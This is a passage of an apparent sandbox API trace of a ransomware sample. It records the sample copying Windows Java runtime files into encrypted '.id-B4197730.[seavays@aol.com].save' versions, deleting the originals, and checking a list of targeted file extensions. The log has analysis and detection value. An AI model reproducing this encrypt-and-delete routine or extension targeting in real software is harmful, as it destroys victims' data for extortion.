files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.914] GetLastError () returned 0x0 [0078.914] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xca750, lpOverlapped=0x0) returned 1 [0078.937] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xca760, lpOverlapped=0x0) returned 1 [0079.310] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.310] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.311] SetEndOfFile (hFile=0x38c) returned 1 [0079.311] CloseHandle (hObject=0x38c) returned 1 [0079.311] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.311] SetEndOfFile (hFile=0x39c) returned 1 [0079.320] CloseHandle (hObject=0x39c) returned 1 [0079.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.321] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.322] lstrlenW (lpString=".doc") returned 4 [0079.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString=".docx") returned 5 [0079.322] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0079.322] lstrlenW (lpString=".pdf") returned 4 [0079.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString=".xls") returned 4 [0079.322] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString=".xlsx") returned 5 [0079.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0079.322] lstrlenW (lpString=".ppt") returned 4 [0079.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.322] lstrlenW (lpString=".zip") returned 4 [0079.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString=".rar") returned 4 [0079.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.322] lstrlenW (lpString=".bz2") returned 4 [0079.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.322] lstrlenW (lpString=".7z") returned 3 [0079.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.322] lstrlenW (lpString=".dbf") returned 4 [0079.323] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.323] lstrlenW (lpString=".1cd") returned 4 [0079.323] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0079.323] lstrlenW (lpString=".jpg") returned 4 [0079.323] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.324] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.324] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0079.325] GetLastError () returned 0x0 [0079.325] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xca750, lpOverlapped=0x0) returned 1 [0079.759] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xca760, lpOverlapped=0x0) returned 1 [0079.777] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.777] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.777] SetEndOfFile (hFile=0x38c) returned 1 [0079.778] CloseHandle (hObject=0x38c) returned 1 [0079.778] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.778] SetEndOfFile (hFile=0x39c) returned 1 [0079.787] CloseHandle (hObject=0x39c) returned 1 [0079.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.787] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0079.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.788] lstrlenW (lpString=".doc") returned 4 [0079.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.788] lstrlenW (lpString=".docx") returned 5 [0079.788] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0079.788] lstrlenW (lpString=".pdf") returned 4 [0079.788] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.788] lstrlenW (lpString=".xls") returned 4 [0079.788] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.788] lstrlenW (lpString=".xlsx") returned 5 [0079.788] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0079.788] lstrlenW (lpString=".ppt") returned 4 [0079.788] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.789] lstrlenW (lpString=".zip") returned 4 [0079.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.789] lstrlenW (lpString=".rar") returned 4 [0079.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.789] lstrlenW (lpString=".bz2") returned 4 [0079.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.789] lstrlenW (lpString=".7z") returned 3 [0079.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.789] lstrlenW (lpString=".dbf") returned 4 [0079.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.789] lstrlenW (lpString=".1cd") returned 4 [0079.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0079.789] lstrlenW (lpString=".jpg") returned 4 [0079.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.790] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.790] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0079.791] GetLastError () returned 0x0 [0079.791] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0080.321] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0080.322] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.322] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.322] SetEndOfFile (hFile=0x38c) returned 1 [0080.323] CloseHandle (hObject=0x38c) returned 1 [0080.323] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.323] SetEndOfFile (hFile=0x39c) returned 1 [0080.324] CloseHandle (hObject=0x39c) returned 1 [0080.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.324] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0080.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.325] lstrlenW (lpString=".doc") returned 4 [0080.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.325] lstrlenW (lpString=".docx") returned 5 [0080.325] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0080.325] lstrlenW (lpString=".pdf") returned 4 [0080.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.325] lstrlenW (lpString=".xls") returned 4 [0080.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.325] lstrlenW (lpString=".xlsx") returned 5 [0080.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0080.326] lstrlenW (lpString=".ppt") returned 4 [0080.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.326] lstrlenW (lpString=".zip") returned 4 [0080.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.326] lstrlenW (lpString=".rar") returned 4 [0080.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.326] lstrlenW (lpString=".bz2") returned 4 [0080.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.326] lstrlenW (lpString=".7z") returned 3 [0080.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.326] lstrlenW (lpString=".dbf") returned 4 [0080.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.326] lstrlenW (lpString=".1cd") returned 4 [0080.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0080.326] lstrlenW (lpString=".jpg") returned 4 [0080.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.327] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.327] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.328] GetLastError () returned 0x0 [0080.328] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11240, lpOverlapped=0x0) returned 1 [0080.331] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11250, lpOverlapped=0x0) returned 1 [0080.334] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.334] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.334] SetEndOfFile (hFile=0x38c) returned 1 [0080.334] CloseHandle (hObject=0x38c) returned 1 [0080.334] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.334] SetEndOfFile (hFile=0x39c) returned 1 [0080.336] CloseHandle (hObject=0x39c) returned 1 [0080.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.336] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0080.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.337] lstrlenW (lpString=".doc") returned 4 [0080.337] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.337] lstrlenW (lpString=".docx") returned 5 [0080.337] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0080.337] lstrlenW (lpString=".pdf") returned 4 [0080.337] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.337] lstrlenW (lpString=".xls") returned 4 [0080.337] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.337] lstrlenW (lpString=".xlsx") returned 5 [0080.337] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0080.337] lstrlenW (lpString=".ppt") returned 4 [0080.337] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.337] lstrlenW (lpString=".zip") returned 4 [0080.337] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.337] lstrlenW (lpString=".rar") returned 4 [0080.337] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.337] lstrlenW (lpString=".bz2") returned 4 [0080.337] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.337] lstrlenW (lpString=".7z") returned 3 [0080.338] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.338] lstrlenW (lpString=".dbf") returned 4 [0080.338] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.338] lstrlenW (lpString=".1cd") returned 4 [0080.338] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0080.338] lstrlenW (lpString=".jpg") returned 4 [0080.338] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.339] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.339] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.340] GetLastError () returned 0x0 [0080.340] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x21240, lpOverlapped=0x0) returned 1 [0080.345] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x21250, lpOverlapped=0x0) returned 1 [0080.349] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.349] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1 [0080.349] SetEndOfFile (hFile=0x38c) returned 1 [0080.349] CloseHandle (hObject=0x38c) returned 1 [0080.349] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.350] SetEndOfFile (hFile=0x39c) returned 1 [0080.351] CloseHandle (hObject=0x39c) returned 1 [0080.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.352] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0080.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.353] lstrlenW (lpString=".doc") returned 4 [0080.353] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString=".docx") returned 5 [0080.353] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0080.353] lstrlenW (lpString=".pdf") returned 4 [0080.353] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString=".xls") returned 4 [0080.353] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString=".xlsx") returned 5 [0080.353] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0080.353] lstrlenW (lpString=".ppt") returned 4 [0080.353] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.353] lstrlenW (lpString=".zip") returned 4 [0080.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString=".rar") returned 4 [0080.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.353] lstrlenW (lpString=".bz2") returned 4 [0080.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.353] lstrlenW (lpString=".7z") returned 3 [0080.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.353] lstrlenW (lpString=".dbf") returned 4 [0080.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.354] lstrlenW (lpString=".1cd") returned 4 [0080.354] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0080.354] lstrlenW (lpString=".jpg") returned 4 [0080.354] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.354] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.355] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.355] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.355] GetLastError () returned 0x0 [0080.355] ReadFile (hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xd40 [0050.048] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c00048 [0050.048] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c10050 [0050.049] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce18 [0050.049] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d290 [0050.049] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcef0 [0050.049] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3d02020 [0050.052] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.052] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.052] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.052] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.052] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.052] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.052] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x0) returned 1 [0050.052] lstrlenW (lpString="kernel32.dll") returned 12 [0050.052] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.052] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.052] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.052] Sleep (dwMilliseconds=0x64) [0050.475] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.475] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0050.475] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.476] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=144072) returned 1 [0050.476] CloseHandle (hObject=0x2f4) returned 1 [0050.476] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0050.476] GetFileAttributesW 